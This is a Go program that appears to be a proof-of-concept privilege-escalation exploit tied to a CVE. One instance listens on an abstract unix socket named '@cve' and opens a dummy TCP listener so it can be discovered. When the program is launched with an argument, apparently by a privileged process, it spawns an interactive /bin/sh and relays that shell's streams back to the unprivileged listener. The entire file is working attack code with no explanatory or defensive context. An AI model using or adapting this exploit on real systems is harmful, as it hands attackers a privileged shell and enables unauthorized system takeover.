package main

import (
        "fmt"
        "io"
        "net"
        "os"
        "os/exec"
)

func main() {
        // If started with an argument (e.g., -v or --version), assume we're the privileged process.
        // Otherwise, assume we're the unprivileged process.
        if len(os.Args) >= 2 {
                if err := connect(); err != nil {
                        panic(err)
                }
        } else {
                if err := serve(); err != nil {
                        panic(err)
                }
        }
}

func serve() error {
        // Open a dummy listener, ensuring the service can be discovered.
        dummy, err := net.Listen("tcp", "127.0.0.1:0")
        if err != nil {
                return err
        }
        defer dummy.Close()

        // Open a listener to exchange stdin, stdout and stderr streams.
        l, err := net.Listen("unix", "@cve")
        if err != nil {
                return err
        }
        defer l.Close()

        // Loop privilege escalations, but don't do concurrency.
        for {
                if err := handle(l); err != nil {
                        return err
                }
        }
}

func handle(l net.Listener) error {
        // Wait for the privileged stdin, stdout and stderr streams.
        fmt.Println("Waiting on privileged process...")

        stdin, err := l.Accept()
        if err != nil {
                return err
        }
        defer stdin.Close()

        stdout, err := l.Accept()
        if err != nil {
                return err
        }
        defer stdout.Close()

        stderr, err := l.Accept()
        if err != nil {
                return err
        }
        defer stderr.Close()

        // Interconnect stdin, stdout and stderr.
        fmt.Println("Connected to privileged process!")
        errs := make(chan error, 3)

        go func() {
                _, err := io.Copy(os.Stdout, stdout)
                errs <- err
        }()
        go func() {
                _, err := io.Copy(os.Stderr, stderr)
                errs <- err
        }()
        go func() {
                _, err := io.Copy(stdin, os.Stdin)
                errs <- err
        }()

        // Abort as soon as any of the interconnected streams fails.
        _ = <-errs
        return nil
}

func connect() error {
        // Define the privileged shell to execute.
        cmd := exec.Command("/bin/sh", "-i")

        // Connect to the unprivileged process
        stdin, err := net.Dial("unix", "@cve")
        if err != nil {
                return err
        }
        defer stdin.Close()

        stdout, err := net.Dial("unix", "@cve")
        if err != nil {
                return err
        }
        defer stdout.Close()

        stderr, err := net.Dial("unix", "@cve")
        if err != nil {
                return err
        }
        defer stderr.Close()

        // Interconnect stdin, stdout and stderr.
        fmt.Fprintln(stdout, "Starting privileged shell...")
        cmd.Stdin = stdin
        cmd.Stdout = stdout
        cmd.Stderr = stderr

        return cmd.Run()
}